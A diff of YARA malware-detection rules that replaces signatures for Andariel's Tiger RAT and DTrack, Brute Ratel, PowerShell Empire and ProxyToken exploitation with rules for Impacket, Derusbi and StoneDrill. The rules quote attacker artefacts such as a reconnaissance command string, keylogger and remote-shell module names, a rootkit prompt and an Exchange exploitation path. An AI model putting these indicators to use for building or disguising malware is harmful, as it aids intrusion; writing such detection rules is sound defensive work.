-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L353-L375"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d8de583fc0de01e6784305d28dbf7cea859a24cf4df1dc59356601bc830e4770"
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d2ce6426-d165-5569-a992-268f05622653"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L388-L423"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a66953ca6a99a7880d757a754bb3010aa394de73292975a3741ec5cf1f20385d"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
+		hash2 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
+		hash3 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
+		hash4 = "ab909f8082c2d04f73d8be8f4c2640a5582294306dffdcc85e83a39d20c49ed6"
+		hash5 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
+		hash6 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
+		hash7 = "dc85a3944fcb8cc0991be100859c4e1bf84062f7428c4dc27c71e08d88383c98"
+		hash8 = "0f7f0d8afb230c31fe6cf349c4012b430fc3d6722289938f7e33ea15b2996e1b"
+		hash9 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
+		hash10 = "4c2921702d18e0874b57638433474e54719ee6dfa39d323839d216952c5c834a"
+		hash11 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede5209623534d7d"
+		hash12 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
+		hash13 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
+		hash14 = "d2856e98011541883e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
+		hash15 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
+		hash16 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
+		hash17 = "e300339058a885475f5952fb4e9faaa09bb6eac26757443017b281c46b03108b"
+		hash18 = "19544863758341fe7276c59d85f4aa17094045621ca9c98f8a9e7307c290bad4"
+		hash19 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
+		hash20 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
 
 	strings:
-		$x_str_cmd_4 = "/c systeminfo > \"%s\" & tasklist > \"%s\" & netstat -naop tcp > \"%s\"" wide
-		$x_str_cmd_2 = "/c ping -n 3 127.0.01 > NUL % echo EEE > \"%s\"" wide
-		$str_mutex = "MTX_Global"
-		$str_cmd_1 = "/c net use \\\\" wide
-		$str_cmd_3 = "/c move /y %s \\\\" wide
+		$s1 = "bpywintypes27.dll" fullword ascii
+		$s2 = "hZFtPC" fullword ascii
+		$s3 = "impacket" ascii
 
 	condition:
-		uint16(0)==0x5A4D and (1 of ($x*) or 3 of them )
+		( uint16(0)==0x5a4d and filesize <21000KB and all of ($s*)) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Tigerrat_Crowdsourced_Rule : FILE
+rule SIGNATURE_BASE_Impacket_Lateral_Movement : FILE
 {
 	meta:
-		description = "Detects the Tiger RAT variant used by Andariel"
-		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
-		id = "6be65222-7d3c-5ff5-a9c7-d91dcf1deaa6"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L377-L405"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d203d8c7e624796571f4597f70be0b8303f21c096640f25018cad29d4abc05b"
-		score = 75
+		description = "Detects Impacket Network Aktivity for Lateral Movement"
+		author = "Markus Neis"
+		id = "44db234c-ac81-5d21-bc2a-8cfd88807c0d"
+		date = "2018-03-22"
+		modified = "2023-12-05"
+		reference = "https://github.com/CoreSecurity/impacket"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L425-L443"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6628c27474d5235d5b510a55215762980a5b526b353b740344cb669e8e023e3c"
+		score = 60
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$m1 = ".?AVModuleKeyLogger@@" fullword ascii
-		$m2 = ".?AVModulePortForwarder@@" fullword ascii
-		$m3 = ".?AVModuleScreenCapture@@" fullword ascii
-		$m4 = ".?AVModuleShell@@" fullword ascii
-		$s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
-		$s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
-		$s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
-		$s4 = "del \"%s\"%s \"%s\" goto " ascii
+		$s1 = "impacket.dcerpc.v5.transport(" ascii
+		$s2 = "impacket.smbconnection(" ascii
+		$s3 = "impacket.dcerpc.v5.ndr(" ascii
+		$s4 = "impacket.spnego(" ascii
+		$s5 = "impacket.smb(" ascii
+		$s6 = "impacket.ntlm(" ascii
+		$s7 = "impacket.nmb(" ascii
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or ( all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and filesize <14000KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_WIN_Tiger_RAT_Auto : FILE
+rule SIGNATURE_BASE_Derusbi_Kernel : FILE
 {
 	meta:
-		description = "Detects the Tiger RAT variant used by Andariel"
-		author = "CISA.gov"
-		id = "4579af62-52be-5f5f-a577-16ec50297c05"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L407-L546"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1deef66efb44c0d17f33508a8b6f0d6253f0308f309e81657f78eb0f87121bf5"
+		description = "Derusbi Driver version"
+		author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+		id = "a60ab93a-e2be-53ee-a7da-56c763bc5533"
+		date = "2015-12-09"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_derusbi.yar#L9-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d5a0ce0b0116c3a84d52c22369dbf3cb9cf3ad8f8a05cea5565ba9bb99255fab"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$sequence_0 = { 33c0 89442438 89442430 448bcf 4533c0 }
-		$sequence_1 = { 41b901000000 488bd6 488bcb e8???????? }
-		$sequence_2 = { 4881ec90050000 8b01 8985c8040000 8b4104 }
-		$sequence_3 = { 488b01 ff10 488b4f08 4c8d4c2430 }
-		$sequence_4 = { 488b01 ff10 488b4e18 488b01 }
-		$sequence_5 = { 4881eca0000000 33c0 488bd9 488d4c2432 }
-		$sequence_6 = { 488b01 eb03 488bc1 0fb600 }
-		$sequence_7 = { 488b01 8b10 895124 448b4124 4585c0 }
-		$sequence_8 = { 4c8d0d31eb0000 c1e918 c1e808 41bf00000080 }
-		$sequence_9 = { 488bd8 4885c0 752d ff15???????? 83f857 0f85e0010000 488d0da0bd0000 }
-		$sequence_10 = { 75d4 488d1d7f6c0100 488b4bf8 4885c9 740b }
-		$sequence_11 = { 0f85d9000000 488d15d0c90000 41b810200100 488bcd e8???????? eb6b b9f4ffffff }
-		$sequence_12 = { 48890d???????? 488905???????? 488d05ae610000 488905???????? 488d05a0550000 488905???????? }
-		$sequence_13 = { 8bcf e8???????? 488b7c2448 85c0 0f8440030000 488d0560250100 }
-		$sequence_14 = { ff15???????? 8b05???????? 2305???????? ba02000000 33c9 8905???????? 8b05???????? }
-		$sequence_15 = { 4883ec30 498bd8 e8???????? 488bc8 4885c0 }
+		$token1 = "$$$--Hello"
+		$token2 = "Wrod--$$$"
+		$class = ".?AVPCC_BASEMOD@@"
 
 	condition:
-		filesize <600KB and 7 of them
+		uint16(0)==0x5A4D and $token1 and $token2 and $class
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_WIN_Dtrack_Auto : FILE
+rule SIGNATURE_BASE_Derusbi_Linux : FILE
 {
 	meta:
-		description = "Detects DTrack variant used by Andariel"
-		author = "CISA.gov"
-		id = "1b40c685-beba-50fa-b484-c1526577cb23"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L548-L687"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2bd68ee6e5f35a9b80c07120beba3fe1f3ba9a9137ee15bb04bb2740381a9a44"
+		description = "Derusbi Server Linux version"
+		author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+		id = "2b33afb5-be87-5d41-b05e-b99d0c1d8ed9"
+		date = "2015-12-09"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_derusbi.yar#L24-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "68d5af17b33d1aa0388516e5d2a1ad29c22dc04451e232dfbdf1ef0714baeb10"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 }
-		$sequence_1 = { 3a4101 7523 83854cf6ffff02 838550f6ffff02 80bd4af6ffff00 75ae c78544f6ffff00000000 }
-		$sequence_2 = { 50 ff15???????? a3???????? 68???????? e8???????? 83c404 50 }
-		$sequence_3 = { 8d8dd4faffff 51 e8???????? 83c408 8b15???????? }
-		$sequence_4 = { 8855f5 6a5c 8b450c 50 e8???????? }
-		$sequence_5 = { 51 e8???????? 83c410 8b558c 52 }
-		$sequence_6 = { 8b4d0c 51 68???????? 8d9560eaffff 52 e8???????? }
-		$sequence_7 = { 83c001 8945f4 837df420 7d2c 8b4df8 }
-		$sequence_8 = { 83c001 89856cf6ffff 8b8d70f6ffff 8a11 }
-		$sequence_9 = { 0355f0 0fb602 0fb64df7 33c1 0fb655fc 33c2 }
-		$sequence_10 = { d1e9 894df8 8b5518 8955fc c745f000000000 }
-		$sequence_11 = { 8b4df0 3b4d10 0f8d90000000 8b5508 0355f0 0fb602 }
-		$sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc c1e908 0bc1 }
-		$sequence_13 = { 0bc1 894518 8b5514 8955f8 }
-		$sequence_14 = { 8b5514 8955f8 8b4518 8945fc e9???????? 8be5 }
+		$PS1 = "PS1=RK# \\u@\\h:\\w \\$"
+		$cmd = "unset LS_OPTIONS;uname -a"
+		$pname = "[diskio]"
+		$rkfile = "/tmp/.secure"
+		$ELF = "\x7fELF"
 
 	condition:
-		filesize <1700KB and 7 of them
+		$ELF at 0 and $PS1 and $cmd and $pname and $rkfile
 }
-rule SIGNATURE_BASE_HKTL_Bruteratel_Badger_Indicators_Oct22_4 : FILE
+rule SIGNATURE_BASE_Derusbi_Kernel_Driver_WD_UDFS : FILE
 {
 	meta:
-		description = "Detects Brute Ratel C4 badger indicators"
-		author = "Matthew @embee_research, Florian Roth"
-		id = "a62d08ae-0fb3-55e9-b6f8-7940f8032e4a"
-		date = "2022-10-12"
+		description = "Detects Derusbi Kernel Driver"
+		author = "Florian Roth (Nextron Systems)"
+		id = "51d80d19-f87f-5b09-ac49-08ebcb464013"
+		date = "2015-12-15"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/embee_research/status/1580030310778953728"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/hktl_bruteratel_c4_badger.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9af05225f462c8d4ec1fb14dc06bb789f76b0d818cb82c3dfcd5abc693727f33"
-		score = 75
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_derusbi.yar#L48-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bea8dafbef01ca8cf747a1f24804c0fb7868db09ce8091ff93c9c5d67d95ca3e"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
+		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
+		hash4 = "e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59"
 
 	strings:
-		$s1 = { b? 89 4d 39 8c }
-		$s2 = { b? bd ca 3b d3 }
-		$s3 = { b? b2 c1 06 ae }
-		$s4 = { b? 74 eb 1d 4d }
+		$x1 = "\\\\.\\pipe\\usbpcex%d" fullword wide
+		$x2 = "\\\\.\\pipe\\usbpcg%d" fullword wide
+		$x3 = "\\??\\pipe\\usbpcex%d" fullword wide
+		$x4 = "\\??\\pipe\\usbpcg%d" fullword wide
+		$x5 = "$$$--Hello" fullword ascii
+		$x6 = "Wrod--$$$" fullword ascii
+		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" wide
+		$s2 = "Update.dll" fullword ascii
+		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" wide
+		$s4 = "\\Driver\\nsiproxy" wide
+		$s5 = "HOST: %s" fullword ascii
 
 	condition:
-		filesize <8000KB and all of ($s*) and not uint8(0)==0x02
+		uint16(0)==0x5a4d and filesize <800KB and (2 of ($x*) or all of ($s*))
 }
-rule SIGNATURE_BASE_Powershell_Emp_Eval_Jul17_A1 : FILE
+rule SIGNATURE_BASE_Derusbi_Code_Signing_Cert : FILE
 {
 	meta:
-		description = "Detects suspicious sample with PowerShell content "
+		description = "Detects an executable signed with a certificate also used for Derusbi Trojan - suspicious"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1699f153-f972-5e06-a94b-eb95af637e6b"
-		date = "2017-07-27"
-		modified = "2023-12-05"
-		reference = "PowerShell Empire Eval"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ps_empire_eval.yar#L11-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e77ff4e216601c62a049569a6ea1aae13fc2612b480f4d7fad4e99dc72155da3"
-		score = 65
+		id = "d123fde9-0182-5232-a716-b76e8d9830c4"
+		date = "2015-12-15"
+		modified = "2023-12-05"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_derusbi.yar#L81-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dae976a4896a4f6b6a1b415582db84f3da5aac03bf4079f75e11c790dcf23900"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4d10e80c7c80ef040efc680424a429558c7d76a965685bbc295908cb71137eba"
 
 	strings:
-		$s1 = "powershell" wide
-		$s2 = "pshcmd" fullword ascii
+		$s1 = "Fuqing Dawu Technology Co.,Ltd.0" fullword ascii
+		$s2 = "XL Games Co.,Ltd.0" fullword ascii
+		$s3 = "Wemade Entertainment co.,Ltd0" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <30KB and all of them )
+		uint16(0)==0x5a4d and filesize <800KB and 1 of them
 }
-rule SIGNATURE_BASE_Powershell_Emp_Eval_Jul17_A2 : FILE
+rule SIGNATURE_BASE_XOR_4Byte_Key : FILE
 {
 	meta:
-		description = "Detects suspicious sample with PowerShell content "
+		description = "Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8f299fcd-156c-5ce1-8582-c2a4ff2c0cfc"
-		date = "2017-07-27"
+		id = "77850332-87ce-5ed3-bb09-88e91e5bb5f6"
+		date = "2015-12-15"
 		modified = "2023-12-05"
-		reference = "PowerShell Empire Eval"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ps_empire_eval.yar#L27-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "28f320e721a61d7e2db39830652038eb4090429d73162888570a97b0bc1504d8"
-		score = 65
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_derusbi.yar#L98-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "61cbdac3fd9a486d85261234698f33aa04d505b32dfec731de6fc61d103bf609"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e14c139159c23fdc18969afe57ec062e4d3c28dd42a20bed8ddde37ab4351a51"
 
 	strings:
-		$x1 = "\\support\\Release\\ab.pdb" ascii
-		$s2 = "powershell.exe" ascii fullword
+		$s1 = { 85 C9 74 0A 31 06 01 1E 83 C6 04 49 EB F2 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		uint16(0)==0x5a4d and filesize <900KB and all of them
 }
-rule SIGNATURE_BASE_LOG_EXPL_Proxytoken_Exploitation_Aug21_1 : CVE_2021_33766
+rule SIGNATURE_BASE_Derusbi_Backdoor_Mar17_1 : FILE
 {
 	meta:
-		description = "Detects ProxyToken CVE-2021-33766 exploitation attempts on an unpatched system"
+		description = "Detects a variant of the Derusbi backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f4840140-6d31-52f9-b1a0-2acdd4b955cd"
-		date = "2021-08-30"
+		id = "5c8838d6-b9c2-589e-b6a2-a8c7ad6f10cc"
+		date = "2017-03-03"
 		modified = "2023-12-05"
-		reference = "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2021_33766_proxytoken.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff0c3e4f7491f5faec3e2688819ea5ec636a7d4eb57941afff6f53f60b0c0293"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_derusbi.yar#L123-L143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "068a8d5c7378c6cf9d0369374550cd34b54e9f913aa7512a6beb46395fc15b19"
 		score = 75
 		quality = 85
-		tags = "CVE-2021-33766"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f87915f21dcc527981ebb6db3d332b5b341129b4af83524f59d7178e9d2a3a32"
 
 	strings:
-		$ss0 = "POST " ascii
-		$ss1 = " 500 0 0"
-		$sa1 = "/ecp/" ascii
-		$sa2 = "/RulesEditor/InboxRules.svc/NewObject" ascii
-		$sb1 = "/ecp/" ascii
-		$sb2 = "SecurityToken=" ascii
+		$x1 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
+		$x2 = "c%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword wide
+		$x3 = "%Systemroot%\\Help\\perfc009.dat" fullword wide
+		$x4 = "rundll32.exe \"%s\", R32 %s" fullword wide
+		$x5 = "OfficeUt32.dll" fullword ascii
+		$x6 = "\\\\.\\pipe\\usb%so" fullword wide
+		$x7 = "\\\\.\\pipe\\usb%si" fullword wide
+		$x8 = "\\tmp1.dat" wide
 
 	condition:
-		all of ($ss*) and ( all of ($sa*) or all of ($sb*))
+		( uint16(0)==0x5a4d and filesize <400KB and 1 of them )
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Greenbug_Malware_1 : FILE
+rule SIGNATURE_BASE_Susp_File_Enumerator_With_Encrypted_Resource_101 : FILE
 {
 	meta:
-		description = "Detects Malware from Greenbug Incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3375a392-4896-572c-9688-00f01ea86ca7"
-		date = "2017-01-25"
+		description = "Generic detection for samples that enumerate files with encrypted resource called 101"
+		author = "Kaspersky Lab"
+		id = "9bc16ec2-c94c-54f5-b09c-88a78e9e3fb2"
+		date = "2024-01-04"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/urp4CD"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greenbug.yar#L12-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e060a197dec0ce5da385abd282f0c4397bace8945b36198955925d02444b37a3"
-		score = 75
-		quality = 85
+		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stonedrill.yar#L12-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2cd0a5f1e9bcce6807e57ec8477d222a"
+		hash = "c843046e54b755ec63ccb09d0a689674"
+		logic_hash = "0a207038b3cbba88d05cd6a053fd14337ac1fbb08b2a532b542ee2bb6b881a5a"
+		score = 65
+		quality = 44
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dab460a0b73e79299fbff2fa301420c1d97a36da7426acc0e903c70495db2b76"
 
 	strings:
-		$s1 = "vailablez" fullword ascii
-		$s2 = "Sfouglr" fullword ascii
+		$mz = "This program cannot be run in DOS mode."
+		$a1 = "FindFirstFile" ascii wide nocase
+		$a2 = "FindNextFile" ascii wide nocase
+		$a3 = "FindResource" ascii wide nocase
+		$a4 = "LoadResource" ascii wide nocase
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and all of them )
+		uint16(0)==0x5A4D and all of them and filesize <700000 and pe.number_of_sections>4 and pe.number_of_resources>1 and pe.number_of_resources<15 and for any i in (0..pe.number_of_resources-1) : ((math.entropy(pe.resources[i].offset,pe.resources[i].length)>7.8) and pe.resources[i].id==101 and pe.resources[i].length>20000 and pe.resources[i].language==0 and not ($mz in (pe.resources[i].offset..pe.resources[i].offset+pe.resources[i].length)))
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Greenbug_Malware_2 : FILE
+rule SIGNATURE_BASE_Stonedrill_Main_Sub : FILE
 {
 	meta:
-		description = "Detects Backdoor from Greenbug Incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e5d5ddae-cf6d-579f-9a67-9406838b5e0b"
-		date = "2017-01-25"
+		description = "Rule to detect StoneDrill (decrypted) samples"
+		author = "Kaspersky Lab"
+		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/urp4CD"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greenbug.yar#L28-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "25a9e1f08187f3d3cd0ec1384a5f4647c3368b99062f2e0d7d45c6c2ffeb66e0"
+		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stonedrill.yar#L43-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "794094c0cbb81f6f971e16de36d444351b17cf38a91d8210f914b80da7d9ed26"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6b28a43eda5b6f828a65574e3f08a6d00e0acf84cbb94aac5cec5cd448a4649d"
-		hash2 = "21f5e60e9df6642dbbceca623ad59ad1778ea506b7932d75ea8db02230ce3685"
-		hash3 = "319a001d09ee9d754e8789116bbb21a3c624c999dae9cf83fde90a3fbe67ee6c"
+		hash1 = "d01781f1246fd1b64e09170bd6600fe1"
+		hash2 = "ac3c25534c076623192b9381f926ba0d"
+		version = "1.0"
 
 	strings:
-		$x1 = "|||Command executed successfully" fullword ascii
-		$x2 = "\\Release\\Bot Fresh.pdb" ascii
-		$x3 = "C:\\ddd\\a1.txt" fullword wide
-		$x4 = "Bots\\Bot5\\x64\\Release" ascii
-		$x5 = "Bot5\\Release\\Ism.pdb" ascii
-		$x6 = "Bot\\Release\\Ism.pdb" ascii
-		$x7 = "\\Bot Fresh\\Release\\Bot" ascii
-		$s1 = "/Home/SaveFile?commandId=CmdResult=" fullword wide
-		$s2 = "raB3G:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday" fullword ascii
-		$s3 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
-		$s4 = "SELECT * FROM AntiVirusProduct" fullword wide
+		$code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF 30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 2 of them )) or (3 of them )
+		uint16(0)==0x5A4D and $code and filesize <5000000
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Greenbug_Malware_3
+rule SIGNATURE_BASE_Stonedrill_BAT_1 : FILE
 {
 	meta:
-		description = "Detects Backdoor from Greenbug Incident"
+		description = "Rule to detect Batch file from StoneDrill report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "68142bcd-4bd0-5c80-97fc-38811565e21c"
-		date = "2017-01-25"
+		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+		date = "2023-12-05"
